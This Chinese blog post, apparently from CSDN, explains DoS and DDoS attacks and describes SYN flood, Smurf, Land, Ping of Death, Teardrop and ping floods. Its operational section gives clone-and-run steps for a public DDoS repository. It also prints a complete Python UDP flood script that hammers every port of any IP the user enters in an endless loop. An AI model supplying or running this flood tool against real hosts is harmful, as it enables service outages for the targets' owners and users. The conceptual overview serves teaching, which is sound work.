DDOS攻击

一、DOS VS DDOS

Dos是拒绝服务攻击,而DDOS(Distribution Denial of service)是分布式拒绝服务攻击;Dos与DDOS都是攻击目标服务器、网络服务的一种手段。
  
区别:
  • DOS是利用自己的计算机攻击目标,是一对一的关系;
  • DDOS是DOS攻击基础上产生的一种新的攻击方式,利用控制成百上千台肉鸡,组成一个DDOS攻击集群,同一时刻对目标发起攻击。
    
原理
    理论上,无论目标服务器、网络服务的资源多大,也是带宽、内存、CPU多大,都无法避免Dos与DDOS攻击,因此任何资源再大也有一个极限值,
比如说,一台服务器每秒可以处理1000个数据包,而通过DOS攻击给这台服务器发送1001个数据包,这时服务器无法正常运行,需要给服务器扩容。
从技术上来说,DOS和DDOS都是攻击目标服务器的带宽和连通性,使得目标服务器的带宽资源耗尽,无法正常运行
  
 

二、被 DDoS 攻击时的现象

  • 靶机上有大量等待的TCP连接
  • 被攻击主机的系统资源被大量占用,造成系统停顿;
  • 网络中存在大量的无用数据包,源地址为假
  • 制造高流量无用数据,造成网络堵塞,使靶机无法与外界通讯、无法及时处理请求
  • 严重时造成系统死机

三、DDOS 常见的七种攻击方式

1、Synflood---目前最流行的 DDoS 攻击手段
    该攻击以多个随机的源主机地址向目的主机发送SYN包,而收到目的主机的SYN ACK后源主机不回应这样目的主机就为这些源主机建立大量的连接队列,而且由于没有收到 ACK 一直维护着这些队列,造成了资源的大量消耗而不能向正常请求提供服务。
  
2、Smurf
    该攻击向一个子网的广播地址发一个带有特定请求的包(如ICMP回应请求),并且将源地址伪装成想要攻击的主机地址。子网上的所有主机都回应广播包请求而向被攻击主机发包,使该主机受到攻击。
 
3、Land-based
    攻击者将一个包的源地址和目的地址都设置为目标主机的地址,然后将该包通过 IP 欺骗的方式发送给被攻击主机,这种包可以造成被攻击主机因试图与自己建立连接而陷入死循环,从而很大程度地降低了系统性能。
 
4、Ping of Death
    根据 TCP/IP 的规范,一个包的长度最大为 65536 字节。尽管一个包的长度不能超过 65536 字节,但是一个包分成的多个片段的叠加却能做到。当一个主机收到了长度大于 65536 字节的包时,就是受到了 Ping of Death 攻击,该攻击会造成主机的宕机。
  
5.Teardrop
    IP 数据包在网络传递时,数据包可以分成更小的片段。攻击者可以通过发送两段(或者更多)数据包来实现 TearDrop 攻击。第一个包的偏移量为 0,长度为 N,第二个包的偏移量小于 N。为了合并这些数据段,TCP/IP 堆栈会分配超乎寻常的巨大资源,从而造成系统资源的缺乏甚至机器的重新启动。
 
6.PingSweep
    使用 ICMP Echo 轮询多个主机。
 
7.Pingflood:
    该攻击在短时间内向目的主机发送大量 ping 包,造成网络堵塞或主机资源耗尽。

四、攻击操作

1、github下载攻击代码:git clone https://github.com/Ha3MrX/DDos-Attack
2、进入DDos-Attack目录,给ddos-attack.py设置权限:chmod +x ddos-attack.py
3、运行:python ddos-attack.py,需要输入被攻击端的IP、端口号,然后回车,攻击开始:
  
如下代码,用来访问靶机,轮询访问靶机所有端口,发送字节流,造成靶机端口被占用,达到DDOS攻击的目的。
ddos-attack.py:
import os
import time
import socket
import random

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
byte = random._urandom(1490) # 字节流
##############

os.system("clear")
os.system("DDOS Attack Starting")
ip = input("IP Target : ")
port = int(input("Port Target : "))  # 起始端口

time.sleep(3)
sent = 0
while True:
    sock.sendto(byte, (ip, port))
    sent += 1
    port += 1
    print("对 %s 攻击 %s 次, port:%s" % (ip, sent, port))
    if port == 65534:
        port = 1
python3运行后,再访问你输入目标IP的那台靶机,抓包分析如下:

五、参考

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值